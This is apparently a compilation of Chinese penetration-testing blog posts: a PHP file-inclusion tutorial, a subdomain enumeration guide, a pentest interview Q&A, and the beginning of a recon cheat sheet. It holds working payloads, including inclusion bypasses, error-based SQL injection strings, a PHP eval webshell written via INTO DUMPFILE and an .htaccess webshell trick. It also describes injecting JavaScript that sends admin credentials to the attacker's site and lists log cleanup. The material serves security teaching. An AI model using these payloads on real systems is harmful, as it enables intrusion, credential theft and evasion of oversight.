问号后面的部分/test/test.php,也就是指定的后缀被当作query从而被绕过。

姿势二:fragment(#)

index.php?file=http://remoteaddr/remoteinfo.txt%23
php文件包含漏洞

则包含的文件为 http://remoteaddr/remoteinfo.txt#/test/test.php
问号后面的部分/test/test.php,也就是指定的后缀被当作fragment从而被绕过。注意需要把#进行url编码为%23

利用协议

前面有提到过利用zip协议和phar协议。假设现在测试代码为:

<?php
    $file = $_GET['file'];
    include $file.'/test/test.php';
?>
php文件包含漏洞

构造压缩包如下:

其中test.php内容为:

<?php phpinfo(); ?>

利用zip协议,注意要指定绝对路径

index.php?file=zip://D:\phpStudy\WWW\fileinclude\chybeta.zip%23chybeta

则拼接后为:zip://D:\phpStudy\WWW\fileinclude\chybeta.zip#chybeta/test/test.php

php文件包含漏洞

能成功包含。

在利用phar协议的时候有些问题。哪位能指教一下?

长度截断

利用条件: php版本 < php 5.2.8

目录字符串,在linux下4096字节时会达到最大值,在window下是256字节。只要不断的重复./

index.php?file=././././。。。省略。。。././shell.txt

则后缀/test/test.php,在达到最大值后会被直接丢弃掉。

0字节截断

利用条件: php版本 < php 5.3.4

index.php?file=phpinfo.txt%00
php文件包含漏洞

能利用00截断的场景现在应该很少了:)

防御方案

  1. 在很多场景中都需要去包含web目录之外的文件,如果php配置了open_basedir,则会包含失败
  2. 做好文件的权限管理
  3. 对危险字符进行过滤等等

Refference

此文章来源于
https://www.ddosi.com/2017/11/18/php文件包含漏洞/
2018年以前网站服务器的备份,当时决定不要了,删了所有东西,现在还原一下(有些图片挂了,永远找不回来了,sorry)from

渗透测试工程师子域名收集指南

$
0
0

渗透测试工程师子域名收集指南 子域名枚举 在Google搜索中使用“site:”操作符查找子域名 用VirusTotal找到子域名 使用DNSdumpster查找子域名 使用Sublist3r进行子域名枚举 使用crt.sh查找一个组织主域名的子域名

子域名收集

导语:作为渗透测试工程师或者漏洞赏金猎人,当开始一项安全评估的时候,大多数被提供的都是一个简单的域名或者是一组域名。因此,我们不得不进行大量的侦查,以发现一些有用的资源,比如服务器、Web应用程序、目标组织的域名,这样就可以增加

作为渗透测试工程师或者漏洞赏金猎人,当开始一项安全评估的时候,大多数被提供的都是一个简单的域名或者是一组域名。因此,我们不得不进行大量的侦查,以发现一些有用的资源,比如服务器、Web应用程序、目标组织的域名,这样就可以增加找到漏洞的机会。

子域名枚举是侦察阶段的一个重要部分。本文以一种简明扼要的方式介绍了多种子域名枚举技术。

子域名枚举是什么?

子域名枚举是为一个或多个域查找子域的过程。它是侦察阶段的重要组成部分。

为什么要进行子域名枚举?

· 子域名枚举可以显示很多域名或者子域名,它们在安全评估的范围内,从而增加了发现漏洞的机会。

· 发现运行在隐藏的、被遗忘的子域名上的应用程序可以使我们发现关键的漏洞。

· 通常情况下,同一组织的不同域名或应用程序会出现相同的漏洞。

渗透测试工程师子域名收集指南

著名的Yahoo ! Voices黑客事件,正是由于雅虎网站子域名上安装了一个易受攻击的应用程序

子域名枚举技术

1.像Google和Bing这样的搜索引擎支持各种高级搜索引擎优化搜索查询。这些运营商通常被称为“Google dorks”。

· 我们可以在Google搜索中使用“site:”操作符来查找Google查找到的一个域名的所有子域名。Google还支持额外的减号运算符,以排除我们对“网站:wikimedia.org-www-store-jobs-uk”不感兴趣的子域名。

渗透测试工程师子域名收集指南

在Google搜索中使用“site:”操作符查找子域名

· Bing搜索引擎也支持一些高级搜索操作。和Google一样,Bing也支持“site:”操作符,以便于你可能想要查找除Google搜索之外的其他结果。

渗透测试工程师子域名收集指南

在Bing搜索中使用“site:”操作符查找子域名

2.有许多第三方服务聚合了大量的DNS数据集,并通过它们来检索给定域名的子域名。

· VirusTotal运行自己的被动DNS复制服务,它是通过存储用户在访问urls时提交的DNS决议执行构建的。如果检索域名的信息,你只需要在搜索栏中输入域名。

渗透测试工程师子域名收集指南

使用VirusTotal查找子域名

渗透测试工程师子域名收集指南

用VirusTotal找到的子域名

l DNSdumpster是另一个有趣的工具,它可以为给定的域名找到大量的子域名。

渗透测试工程师子域名收集指南

使用DNSdumpster查找子域名

Sublist3r是目前比较热门的工具,它使用各种资源枚举子域名。Sublist3r会列举出使用Google、Yahoo、Bing、Baidu和Ask等搜索引擎查找到的子域名。Sublist3r还会列举使用Netcraft、Virustotal、ThreatCrowd、DNSdumpster和ReverseDNS查找到的子域名。

渗透测试工程师子域名收集指南

使用Sublist3r进行子域名枚举

3. Certificate Transparency(CT)是一个项目,在这个项目中,证书颁发机构(CA)必须将他们发布的每个SSL/TLS证书发布到公共日志中。SSL/TLS证书通常包含域名、子域名和电子邮件地址。因此SSL/TLS证书成为了攻击者的切入点。

查找一个域名证书的最简单方法是使用搜索引擎来收集计算机的CT日志,并让任何搜索引擎搜索它们。下面仅列出了比较常用的几种:

1. https://crt.sh/

2. https://censys.io/

3. https://developers.facebook.com/tools/ct/

4. https://google.com/transparencyreport/https/ct/

渗透测试工程师子域名收集指南

使用crt.sh查找一个组织主域名的子域名

我们编写了几个脚本,以简化使用CT日志搜索引擎查找子域名的过程。脚本可在我们的github知识库中找到——https://github.com/appsecco/bugcrowd-levelup-subdomain-enumeration

渗透测试工程师子域名收集指南

从uber.com 的CT日志中获得的有趣子域名

在子域名枚举中使用CT的缺点是,在CT日志中找到的域名可能不再存在,因此它们不能被解析为IP地址。可以使用诸如massdns这样与CT日志结合的工具来快速识别可解析的域名。

# ct.py - extracts domain names from CT Logs(shipped with massdns)# massdns - will find resolvable domains & adds them to a file
./ct.py icann.org | ./bin/massdns -r resolvers.txt -t A -q -a -o -w icann_resolvable_domains.txt -
渗透测试工程师子域名收集指南

使用massdns查找可解析域名

4.基于字典的枚举是另一种查找带有通用名称的子域名的技术。DNSRecon是一个功能强大的DNS枚举工具,它的功能之一是使用预定义的词表进行基于词典的子域名枚举。

$ python dnsrecon.py -n ns1.insecuredns.com –d insecuredns.com -D subdomains-top1mil-5000.txt -t brt
渗透测试工程师子域名收集指南

基于字典的DNSRecon枚举工具

5.置换扫描是另一种识别子域名的有趣技术。在这种技术中,我们使用已经已知的域名或子域名的排列、变更和突变来识别新的子域名。

l Altdns以一定的模式发现子域名
$ python altdns.py -i icann.domains -o data_output -w icann.words -r -s results_output.txt
渗透测试工程师子域名收集指南

使用AltDNS查找到与特定置换或修改匹配的子域名

6. 找到自治系统号将帮助我们识别属于一个组织的网段,这个组织中可能有有效的域名。

· 使用dig或host解析给定域名的IP地址。

· 提供IP地址就可以找到ASN的工具——https://asn.cymru.com/cgi-bin/whois.cgi

· 提供域名就可以找到ASN的工具——http://bgp.he.net/

渗透测试工程师子域名收集指南

使用IP地址查找ASN

· 发现的ASN编号可以用来查找域名的网段。有Nmap脚本可以实现——

https://nmap.org/nsedoc/scripts/targets-asn.html
$ nmap --script targets-asn --script-args targets-asn.asn=17012 > netblocks.txt
渗透测试工程师子域名收集指南

NSE脚本使用自治系统号查找网段

7. 区域传送是DNS事务的一种类型,DNS服务器将一个完整或部分的区域文件副本传递给另一个DNS服务器。如果区域传送没有被安全地配置,任何人都可以在服务器上启动区域传送,并获得该区域文件的副本。而区域文件包含了许多关于该区域和驻留在该区域的主机的信息。

$ dig +multi AXFR 
@ns1
.insecuredns.com insecuredns.com
渗透测试工程师子域名收集指南

使用DIG工具对一个服务器进行了成功的区域传送

8. 由于在DNSSEC中处理不存在的域名,所以可以遍历DNSSEC区域并枚举该区域中的所有域名。

对于使用NSEC记录的DNSSEC区域,可以使用像ldns-walk这样的工具来执行区域遍历。

$ ldns-walk @ns1.insecuredns.com insecuredns.com
渗透测试工程师子域名收集指南

对带NSEC记录的DNSSEC区域进行区域遍历

· 一些DNSSEC区域使用NSEC3记录,这些记录使用散列的域名来防止攻击者收集纯文本域名。攻击者可以收集所有的子域散列,并在离线状态下解密。

· nsec3walker、nsec3map等工具帮助我们自动收集NSEC3散列和破解散列。安装nsec3walker后,可以使用以下指令枚举NSEC3受保护区域的子域名。

# Collect NSEC3 hashes of a domain
$ ./collect icann.org > icann.org.collect
# Undo the hashing, expose the sub-domain information.
$ ./unhash < icann.org.collect > icann.org.unhash
# Listing only the sub-domain part from the unhashed data
$ cat icann.org.unhash | grep "icann" | awk '{print $2;}'
del.icann.org.
access.icann.org.
charts.icann.org.
communications.icann.org.
fellowship.icann.org.
files.icann.org.
forms.icann.org.
mail.icann.org.
maintenance.icann.org.
new.icann.org.
public.icann.org.
research.icann.org.

9.有一些项目互联网范围内扫描以收集数据,并提供给研究人员和安全社区。这些项目发布的数据集是子域名信息的宝库。尽管在这个庞大的数据集中找到子域就像海底捞针,但这是值得的。

Forward DNS数据集作为Project Sonar的一部分发布。该数据是通过从多个数据源提取域名,并为每个域发送一个ANY查询来创建的。它的格式是一个压缩的JSON文件。我们可以解析数据集找到给定域名的子域名。数据集是巨大的(20+GB压缩,300+GB未压缩)。

# Command to parse & extract sub-domains for a given domain
$ curl -silent https://scans.io/data/rapid7/sonar.fdns_v2/20170417-fdns.json.gz | pigz -dc | grep “.icann.org” | jq
子域名收集

使用FDNS数据集枚举子域

子域名枚举技术的比较

我们用已讨论的几个技术对icann.org进行了子域名枚举,并比较了收集到的结果。下面的柱状图显示了用每种技术找到的icann.org不重复的、可解析的子域名的数量。

渗透测试工程师子域名收集指南

用每种技术找到的icann.org不重复的、可解析的子域名的数量

子域名枚举参考

我们为子域枚举技术、工具和数据集创建了一个简单的参考。这个参考是使用Github gist创建的,可以随意使用和修改

——https://gist.github.com/yamakira/2a36d3ae077558ac446e4a89143c69ab

子域名枚举的快速参考

搜索引擎:

· Google – site: operator

· Bing – site: operator

DNS 信息收集:

· VirusTotal

· ViewDNS

· DNSdumpster

· Threatcrowd

CT日志:

· https://crt.sh/

· https://censys.io/

· https://developers.facebook.com/tools/ct/

· https://google.com/transparencyreport/https/ct/

工具:

· Sublister

· Altdns

· massdns

· enumall

· DNSRecon

· Domain analyzer

· XRay

· Aquatone

· ldns-walk

· NSEC3 walker

数据集:

· Project Sonar

· Certificate Transparency logs

· https://github.com/appsecco/bugcrowd-levelup-subdomain-enumeration

参考

· https://blog.appsecco.com/open-source-intelligence-gathering-101-d2861d4429e3

· https://www.databreaches.net/hackers-post-450k-credentials-apparently-pilfered-from-yahoo/

· http://info.menandmice.com/blog/bid/73645/Take-your-DNSSEC-with-a-grain-of-salt

· https://www.peerlyst.com/posts/bsideslv-2017-breaking-ground-with-underflow-bsides-las-vegas

此文章来源于
https://www.ddosi.com /2017/11/21/子域名收集/
2018年以前网站服务器的备份,当时决定不要了,删了所有东西,现在还原一下(有些图片挂了,永远找不回来了,sorry)
本文翻译自:from
转载自

Github仓库–用于收集各类信息安全 渗透测试资源

一套实用的渗透测试岗位面试题

$
0
0

一套实用的渗透测试岗位面试题

1.拿到一个待检测的站,你觉得应该先做什么?

    1)信息收集
        1,获取域名的whois信息,获取注册者邮箱姓名电话等。
        2,查询服务器旁站以及子域名站点,因为主站一般比较难,所以先看看旁站有没有通用性的cms或者其他漏洞。
        3,查看服务器操作系统版本,web中间件,看看是否存在已知的漏洞,比如IIS,APACHE,NGINX的解析漏洞
        4,查看IP,进行IP地址端口扫描,对响应的端口进行漏洞探测,比如 rsync,心脏出血,mysql,ftp,ssh弱口令等。
        5,扫描网站目录结构,看看是否可以遍历目录,或者敏感文件泄漏,比如php探针
        6,google hack 进一步探测网站的信息,后台,敏感文件
    2)漏洞扫描
        开始检测漏洞,如XSS,XSRF,sql注入,代码执行,命令执行,越权访问,目录读取,任意文件读取,下载,文件包含,
        远程命令执行,弱口令,上传,编辑器漏洞,暴力破解等
    3)漏洞利用
        利用以上的方式拿到webshell,或者其他权限
    4)权限提升
        提权服务器,比如windows下mysql的udf提权,serv-u提权,windows低版本的漏洞,如iis6,pr,巴西烤肉,linux脏牛漏洞,linux内核版本漏洞提权,linux下的mysql system提权以及oracle低权限提权
    5) 日志清理
    6)总结报告及修复方案

2.判断出网站的CMS对渗透有什么意义?

    查找网上已曝光的程序漏洞。

    如果开源,还能下载相对应的源码进行代码审计。

3.一个成熟并且相对安全的CMS,渗透时扫目录的意义?

    敏感文件、二级目录扫描

    站长的误操作比如:网站备份的压缩文件、说明.txt、二级目录可能存放着其他站点

4.常见的网站服务器容器。

    IIS、Apache、nginx、Lighttpd、Tomcat

5.mysql注入点,用工具对目标站直接写入一句话,需要哪些条件?

    root权限以及网站的绝对路径。

6.目前已知哪些版本的容器有解析漏洞,具体举例。

    IIS 6.0
    /xx.asp/xx.jpg “xx.asp”是文件夹名

    IIS 7.0/7.5
    默认Fast-CGI开启,直接在url中图片地址后面输入/1.php,会把正常图片当成php解析

    Nginx
    版本小于等于0.8.37,利用方法和IIS 7.0/7.5一样,Fast-CGI关闭情况下也可利用。
    空字节代码 xxx.jpg.php

    Apache
    上传的文件命名为:test.php.x1.x2.x3,Apache是从右往左判断后缀

    lighttpd
    xx.jpg/xx.php,不全,请小伙伴们在评论处不吝补充,谢谢!

7.如何手工快速判断目标站是windows还是linux服务器?

    linux大小写敏感,windows大小写不敏感。

8.为何一个mysql数据库的站,只有一个80端口开放?

    更改了端口,没有扫描出来。

    站库分离。

    3306端口不对外开放

9、3389无法连接的几种情况

    没开放3389 端口

    端口被修改

    防护拦截

    处于内网(需进行端口转发)

10.如何突破注入时字符被转义?

    宽字符注入

    hex编码绕过

11.在某后台新闻编辑界面看到编辑器,应该先做什么?

    查看编辑器的名称版本,然后搜索公开的漏洞。

12.拿到一个webshell发现网站根目录下有.htaccess文件,我们能做什么?

    能做的事情很多,用隐藏网马来举例子:
    插入
    <FilesMatch “xxx.jpg”> SetHandler application/x-httpd-php </FilesMatch>
    .jpg文件会被解析成.php文件。

    具体其他的事情,不好详说,建议大家自己去搜索语句来玩玩。

13.注入漏洞只能查账号密码?

    只要权限广,拖库脱到老。

14.安全狗会追踪变量,从而发现出是一句话木马吗?

    是根据特征码,所以很好绕过了,只要思路宽,绕狗绕到欢,但这应该不会是一成不变的。

15.access 扫出后缀为asp的数据库文件,访问乱码,如何实现到本地利用?

    迅雷下载,直接改后缀为.mdb。

16.提权时选择可读写目录,为何尽量不用带空格的目录?

    因为exp执行多半需要空格界定参数

17.某服务器有站点A,B 为何在A的后台添加test用户,访问B的后台。发现也添加上了test用户?

    同数据库。

18.注入时可以不使用and 或or 或xor,直接order by 开始注入吗?

    and/or/xor,前面的1=1、1=2步骤只是为了判断是否为注入点,如果已经确定是注入点那就可以省那步骤去。

19:某个防注入系统,在注入时会提示:

系统检测到你有非法注入的行为。
已记录您的ip xx.xx.xx.xx
时间:2016:01-23
提交页面:test.asp?id=15
提交内容:and 1=1

20、如何利用这个防注入系统拿shell?

在URL里面直接提交一句话,这样网站就把你的一句话也记录进数据库文件了 这个时候可以尝试寻找网站的配置文件 直接上菜刀链接。具体文章参见:http://ytxiao.lofter.com/post/40583a_ab36540。

21.上传大马后访问乱码时,有哪些解决办法?

    浏览器中改编码。

22.审查上传点的元素有什么意义?

    有些站点的上传文件类型的限制是在前端实现的,这时只要增加上传类型就能突破限制了。

23.目标站禁止注册用户,找回密码处随便输入用户名提示:“此用户不存在”,你觉得这里怎样利用?

    先爆破用户名,再利用被爆破出来的用户名爆破密码。

    其实有些站点,在登陆处也会这样提示

    所有和数据库有交互的地方都有可能有注入。

24.目标站发现某txt的下载地址为http://www.test.com/down/down.php?file=/upwdown/1.txt,你有什么思路?

    这就是传说中的下载漏洞!在file=后面尝试输入index.php下载他的首页文件,然后在首页文件里继续查找其他网站的配置文件,可以找出网站的数据库密码和数据库的地址。

25.甲给你一个目标站,并且告诉你根目录下存在/abc/目录,并且此目录下存在编辑器和admin目录。请问你的想法是?

    直接在网站二级目录/abc/下扫描敏感文件及目录。

26.在有shell的情况下,如何使用xss实现对目标站的长久控制?

    后台登录处加一段记录登录账号密码的js,并且判断是否登录成功,如果登录成功,就把账号密码记录到一个生僻的路径的文件中或者直接发到自己的网站文件中。(此方法适合有价值并且需要深入控制权限的网络)。

    在登录后才可以访问的文件中插入XSS脚本。

27.后台修改管理员密码处,原密码显示为*。你觉得该怎样实现读出这个用户的密码?

    审查元素 把密码处的password属性改成text就明文显示了

28.目标站无防护,上传图片可以正常访问,上传脚本格式访问则403.什么原因?

    原因很多,有可能web服务器配置把上传目录写死了不执行相应脚本,尝试改后缀名绕过

29.审查元素得知网站所使用的防护软件,你觉得怎样做到的?

    在敏感操作被拦截,通过界面信息无法具体判断是什么防护的时候,F12看HTML体部 比如护卫神就可以在名称那看到<hws>内容<hws>。

30.在win2003服务器中建立一个 .zhongzi文件夹用意何为?

    隐藏文件夹,为了不让管理员发现你传上去的工具。

31、sql注入有以下两个测试选项,选一个并且阐述不选另一个的理由:

A. demo.jsp?id=2+1       B. demo.jsp?id=2-1
选B,在 URL 编码中 + 代表空格,可能会造成混淆

32、以下链接存在 sql 注入漏洞,对于这个变形注入,你有什么思路?

demo.do?DATA=AjAxNg==
DATA有可能经过了 base64 编码再传入服务器,所以我们也要对参数进行 base64 编码才能正确完成测试

33、发现 demo.jsp?uid=110 注入点,你有哪几种思路获取 webshell,哪种是优选?

有写入权限的,构造联合查询语句使用using INTO OUTFILE,可以将查询的输出重定向到系统的文件中,这样去写入 WebShell
使用 sqlmap –os-shell 原理和上面一种相同,来直接获得一个 Shell,这样效率更高
通过构造联合查询语句得到网站管理员的账户和密码,然后扫后台登录后台,再在后台通过改包上传等方法上传 Shell

34、CSRF 和 XSS 和 XXE 有什么区别,以及修复方式?

XSS是跨站脚本攻击,用户提交的数据中可以构造代码来执行,从而实现窃取用户信息等攻击。修复方式:对字符实体进行转义、使用HTTP Only来禁止JavaScript读取Cookie值、输入时校验、浏览器与Web应用端采用相同的字符编码。

CSRF是跨站请求伪造攻击,XSS是实现CSRF的诸多手段中的一种,是由于没有在关键操作执行时进行是否由用户自愿发起的确认。修复方式:筛选出需要防范CSRF的页面然后嵌入Token、再次输入密码、检验Referer
XXE是XML外部实体注入攻击,XML中可以通过调用实体来请求本地或者远程内容,和远程文件保护类似,会引发相关安全问题,例如敏感文件读取。修复方式:XML解析库在调用时严格禁止对外部实体的解析。

35、CSRF、SSRF和重放攻击有什么区别?

CSRF是跨站请求伪造攻击,由客户端发起
SSRF是服务器端请求伪造,由服务器发起
重放攻击是将截获的数据包进行重放,达到身份认证等目的

36、说出至少三种业务逻辑漏洞,以及修复方式?

密码找回漏洞中存在

1)密码允许暴力破解、

2)存在通用型找回凭证、

3)可以跳过验证步骤、

4)找回凭证可以拦包获取

等方式来通过厂商提供的密码找回功能来得到密码。
身份认证漏洞中最常见的是

1)会话固定攻击

2) Cookie 仿冒

只要得到 Session 或 Cookie 即可伪造用户身份。
验证码漏洞中存在

1)验证码允许暴力破解

2)验证码可以通过 Javascript 或者改包的方法来进行绕过

37、圈出下面会话中可能存在问题的项,并标注可能会存在的问题?

get /ecskins/demo.jsp?uid=2016031900&keyword=”hello world”
HTTP/1.1Host:***.com:82User-Agent:Mozilla/
5.0 Firefox/40Accept:text/css,/;q=0.1
Accept-Language:zh-CN;zh;q=0.8;en-US;q=0.5,en;q=0.3
Referer:http://*******.com/eciop/orderForCC/
cgtListForCC.htm?zone=11370601&v=145902
Cookie:myguid1234567890=1349db5fe50c372c3d995709f54c273d;
uniqueserid=session_OGRMIFIYJHAH5_HZRQOZAMHJ;
st_uid=N90PLYHLZGJXI-NX01VPUF46W;
status=True
Connection:keep-alive

38、给你一个网站你是如何来渗透测试的?
    在获取书面授权的前提下。


39、sqlmap,怎么对一个注入点注入?
    1)如果是get型号,直接,sqlmap -u “诸如点网址”.
    2) 如果是post型诸如点,可以sqlmap -u “注入点网址” –data=”post的参数”
    3)如果是cookie,X-Forwarded-For等,可以访问的时候,用burpsuite抓包,注入处用号替换,放到文件里,然后sqlmap -r “文件地址”

40、nmap,扫描的几种方式

41、sql注入的几种类型?
    1)报错注入
    2)bool型注入
    3)延时注入
    4)宽字节注入
42、报错注入的函数有哪些? 10个
    1)and extractvalue(1, concat(0x7e,(select @@version),0x7e))】】】—————-
    2)通过floor报错 向下取整
    3)+and updatexml(1, concat(0x7e,(secect @@version),0x7e),1)
    4).geometrycollection()select from test where id=1 and geometrycollection((select from(selectfrom(select user())a)b));
    5).multipoint()select from test where id=1 and multipoint((select from(select from(select user())a)b));
    6).polygon()select from test where id=1 and polygon((select from(select from(select user())a)b));
    7).multipolygon()select from test where id=1 and multipolygon((select from(select from(select user())a)b));
    8).linestring()select from test where id=1 and linestring((select from(select from(select user())a)b));
    9).multilinestring()select from test where id=1 and multilinestring((select from(select from(select user())a)b));
    10).exp()select from test where id=1 and exp(~(select * from(select user())a));

43、延时注入如何来判断?
    if(ascii(substr(“hello”, 1, 1))=104, sleep(5), 1)

44、盲注和延时注入的共同点?
    都是一个字符一个字符的判断

45、如何拿一个网站的webshell?
    上传,后台编辑模板,sql注入写文件,命令执行,代码执行,
    一些已经爆出的cms漏洞,比如dedecms后台可以直接建立脚本文件,wordpress上传插件包含脚本文件zip压缩包等

46、sql注入写文件都有哪些函数?
    select ‘一句话’ into outfile ‘路径’
    select ‘一句话’ into dumpfile ‘路径’
    select ‘<?php eval($_POST[1]) ?>’ into dumpfile  ‘d:\wwwroot\baidu.com\nvhack.php’;

47、如何防止CSRF?
    1,验证referer
    2,验证token
    详细:http://cnodejs.org/topic/5533dd6e9138f09b629674fd

48、owasp 漏洞都有哪些?
    1、SQL注入防护方法:
    2、失效的身份认证和会话管理
    3、跨站脚本攻击XSS
    4、直接引用不安全的对象
    5、安全配置错误
    6、敏感信息泄露
    7、缺少功能级的访问控制
    8、跨站请求伪造CSRF
    9、使用含有已知漏洞的组件
    10、未验证的重定向和转发

49、SQL注入防护方法?
    1、使用安全的API
    2、对输入的特殊字符进行Escape转义处理
    3、使用白名单来规范化输入验证方法
    4、对客户端输入进行控制,不允许输入SQL注入相关的特殊字符
    5、服务器端在提交数据库进行SQL查询之前,对特殊字符进行过滤、转义、替换、删除。

50、代码执行,文件读取,命令执行的函数都有哪些?

1)代码执行:

eval,preg_replace+/e,assert,call_user_func,call_user_func_array,create_function

2)文件读取:

file_get_contents(),highlight_file(),fopen(),read 
file(),fread(),fgetss(), fgets(),parse_ini_file(),show_source(),file()等
3)命令执行:
system(), exec(), shell_exec(), passthru() ,pcntl_exec(), popen(),proc_open()

51、img标签除了onerror属性外,还有其他获取管理员路径的办法吗?
    src指定一个远程的脚本文件,获取referer

52、img标签除了onerror属性外,并且src属性的后缀名,必须以.jpg结尾,怎么获取管理员路径。

1)远程服务器修改apache配置文件,配置.jpg文件以php方式来解析
    AddType application/x-httpd-php .jpg
    <img src=http://xss.tv/1.jpg> 会以php方式来解析

渗透测试工具备忘单

$
0
0

渗透测试工具备忘单,典型渗透测试项目快速参考概述 提供执行渗透测试时将运行的典型命令的高级概述
这个备忘单的重点是基础设施/网络渗透测试,尾的几个sqlmap命令和一些web服务器枚举

Pre-engagement
Network Configuration
Set IP Address
Subnetting
OSINT
Passive Information Gathering
DNS
WHOIS enumeration
Perform DNS IP Lookup
Perform MX Record Lookup
Perform Zone Transfer with DIG
DNS Zone Transfers
Email
Simply Email
Semi Active Information Gathering
Basic Finger Printing
Banner grabbing with NC
Active Information Gathering
DNS Bruteforce
DNSRecon
Port Scanning
Nmap Commands
Nmap UDP Scanning
UDP Protocol Scanner
Other Host Discovery
Enumeration & Attacking Network Services
SAMB / SMB / Windows Domain Enumeration
Samba Enumeration
SMB Enumeration Tools
Fingerprint SMB Version
Find open SMB Shares
Enumerate SMB Users
Manual Null session testing:
NBTScan unixwiz
LLMNR / NBT-NS Spoofing
Metasploit LLMNR / NetBIOS requests
Responder.py
SNMP Enumeration Tools
SNMPv3 Enumeration Tools
R Services Enumeration
RSH Enumeration
RSH Run Commands
Metasploit RSH Login Scanner
rusers Show Logged in Users
rusers scan whole Subnet
Finger Enumeration
Finger a Specific Username
Solaris bug that shows all logged in users:
rwho
TLS & SSL Testing
testssl.sh
Vulnerability Assessment
Database Penetration Testing
Oracle
Fingerprint Oracle TNS Version
Brute force oracle user accounts
Oracle Privilege Escalation
Identify default accounts within oracle db using NMAP NSE scripts:
How to identify the current privilege level for an oracle user:
Oracle priv esc and obtain DBA access:
Run the exploit with a select query:
Remove the exploit using:
Get Oracle Reverse os-shell:
MSSQL
Bruteforce MSSQL Login
Metasploit MSSQL Shell
Network
Plink.exe Tunnel
Pivoting
SSH Pivoting
Meterpreter Pivoting
TTL Finger Printing
IPv4 Cheat Sheets
Classful IP Ranges
IPv4 Private Address Ranges
IPv4 Subnet Cheat Sheet
VLAN Hopping
VPN Pentesting Tools
IKEForce
IKE Aggressive Mode PSK Cracking
Step 1: Idenitfy IKE Servers
Step 2: Enumerate group name with IKEForce
Step 3: Use ike-scan to capture the PSK hash
Step 4: Use psk-crack to crack the PSK hash
PPTP Hacking
NMAP PPTP Fingerprint:
PPTP Dictionary Attack
DNS Tunneling
Attacking Machine
BOF / Exploit
Exploit Research
Searching for Exploits
Compiling Windows Exploits on Kali
Cross Compiling Exploits
Exploiting Common Vulnerabilities
Exploiting Shellshock
cat file (view file contents)
Shell Shock run bind shell
Shell Shock reverse Shell
Simple Local Web Servers
Mounting File Shares
HTTP / HTTPS Webserver Enumeration
Packet Inspection
Username Enumeration
SMB User Enumeration
SNMP User Enumeration
Passwords
Wordlists
Brute Forcing Services
Hydra FTP Brute Force
Hydra POP3 Brute Force
Hydra SMTP Brute Force
Password Cracking
John The Ripper – JTR
Windows Penetration Testing Commands
Linux Penetration Testing Commands
Compiling Exploits
Identifying if C code is for Windows or Linux
Build Exploit GCC
GCC Compile 32Bit Exploit on 64Bit Kali
Compile Windows .exe on Linux
SUID Binary
SUID C Shell for /bin/bash
SUID C Shell for /bin/sh
Building the SUID Shell binary
Reverse Shells
TTY Shells
Python TTY Shell Trick
Spawn Interactive sh shell
Spawn Perl TTY Shell
Spawn Ruby TTY Shell
Spawn Lua TTY Shell
Spawn TTY Shell from Vi
Spawn TTY Shell NMAP
Metasploit Cheat Sheet
Meterpreter Payloads
Windows reverse meterpreter payload
Windows VNC Meterpreter payload
Linux Reverse Meterpreter payload
Meterpreter Cheat Sheet
Common Metasploit Modules
Remote Windows Metasploit Modules (exploits)
Local Windows Metasploit Modules (exploits)
Auxilary Metasploit Modules
Metasploit Powershell Modules
Post Exploit Windows Metasploit Modules
ASCII Table Cheat Sheet
CISCO IOS Commands
Cryptography
Hash Lengths
Hash Examples
SQLMap Examples

Pre-engagement

Network Configuration

Set IP Address

ifconfig eth0 xxx.xxx.xxx.xxx/24 

Subnetting

ipcalc xxx.xxx.xxx.xxx/24 
ipcalc xxx.xxx.xxx.xxx 255.255.255.0 

OSINT

Passive Information Gathering

DNS

WHOIS enumeration
whois domain-name-here.com 
Perform DNS IP Lookup
dig a domain-name-here.com @nameserver 
Perform MX Record Lookup
dig mx domain-name-here.com @nameserver
Perform Zone Transfer with DIG
dig axfr domain-name-here.com @nameserver

DNS Zone Transfers

COMMANDDESCRIPTION
nslookup -> set type=any -> ls -d blah.comWindows DNS zone transfer
dig axfr blah.com @ns1.blah.comLinux DNS zone transfer

Email

Simply Email

Use Simply Email to enumerate all the online places (github, target site etc), it works better if you use proxies or set long throttle times so google doesn’t think you’re a robot and make you fill out a Captcha.

git clone https://github.com/killswitch-GUI/SimplyEmail.git
./SimplyEmail.py -all -e TARGET-DOMAIN

Simply Email can verify the discovered email addresss after gathering.

Semi Active Information Gathering

Basic Finger Printing

Manual finger printing / banner grabbing.

COMMANDDESCRIPTION
nc -v 192.168.1.1 25telnet 192.168.1.1 25Basic versioning / finger printing via displayed banner
nc TARGET-IP 80
GET / HTTP/1.1
Host: TARGET-IP
User-Agent: Mozilla/5.0
Referrer: meh-domain
<enter>

Active Information Gathering

DNS Bruteforce

DNSRecon

DNS Enumeration Kali – DNSRecon

root:~# dnsrecon -d TARGET -D /usr/share/wordlists/dnsmap.txt -t std –xml ouput.xml

Port Scanning

Nmap Commands

For more commands, see the Nmap cheat sheet (link in the menu on the right).

Basic Nmap Commands:

COMMANDDESCRIPTION
nmap -v -sS -A -T4 targetNmap verbose scan, runs syn stealth, T4 timing (should be ok on LAN), OS and service version info, traceroute and scripts against services
nmap -v -sS -p--A -T4 targetAs above but scans all TCP ports (takes a lot longer)
nmap -v -sU -sS -p- -A -T4 targetAs above but scans all TCP ports and UDP scan (takes even longer)
nmap -v -p 445 --script=smb-check-vulns
--script-args=unsafe=1 192.168.1.X
Nmap script to scan for vulnerable SMB servers – WARNING: unsafe=1 may cause knockover
ls /usr/share/nmap/scripts/* | grep ftpSearch nmap scripts for keywords

I’ve had a few people mention about T4 scans, apply common sense here. Don’t use T4 commands on external pen tests (when using an Internet connection), you’re probably better off using a T2 with a TCP connect scan. A T4 scan would likely be better suited for an internal pen test, over low latency links with plenty of bandwidth. But it all depends on the target devices, embeded devices are going to struggle if you T4 / T5 them and give inconclusive results. As a general rule of thumb, scan as slowly as you can, or do a fast scan for the top 1000 so you can start pen testing then kick off a slower scan.

Nmap UDP Scanning
nmap -sU TARGET 
UDP Protocol Scanner
git clone https://github.com/portcullislabs/udp-proto-scanner.git

Scan a file of IP addresses for all services:

./udp-protocol-scanner.pl -f ip.txt 

Scan for a specific UDP service:

udp-proto-scanner.pl -p ntp -f ips.txt
Other Host Discovery

Other methods of host discovery, that don’t use nmap…

COMMANDDESCRIPTION
netdiscover -r 192.168.1.0/24Discovers IP, MAC Address and MAC vendor on the subnet from ARP, helpful for confirming you’re on the right VLAN at $client site

Enumeration & Attacking Network Services

Penetration testing tools that spefically identify and / or enumerate network services:

SAMB / SMB / Windows Domain Enumeration

Samba Enumeration

SMB Enumeration Tools
nmblookup -A target
smbclient //MOUNT/share -I target -N
rpcclient -U "" target
enum4linux target

Also see, nbtscan cheat sheet (right hand menu).

